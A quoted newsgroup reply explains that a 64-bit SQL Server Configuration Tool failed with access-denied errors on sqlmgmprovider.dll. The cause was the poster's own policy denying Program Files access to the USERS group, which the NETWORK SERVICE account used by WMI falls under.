> SERVICE" was getting access denieds for C:\Program Files\Microsoft SQL
> Server\90\Shared\sqlmgmprovider.dll.
> This was because we ourselves routinely implemented our security lock-down
> policy of denying Read/Execute access to "C:\Program Files" and
> "C:\Program
> Files (x86)" to the local USERS group which NETWORK SERVICE belongs to
> through being an authenticated user.
> We hadn't suspected such a security issue when running the tool as
> administrator but apparently the Configuration Tool asks WMI to enumerate
> the
> SQL Server instances and WMI does this under the NETWORK SERVICE account.
> (not so for the 32-bit nodes')
> We have had no other issue whatsoever from applying our lock-down policy.
> I
> hope this gets into the MS knowledge base.
> Nick
> "Nick" wrote:
>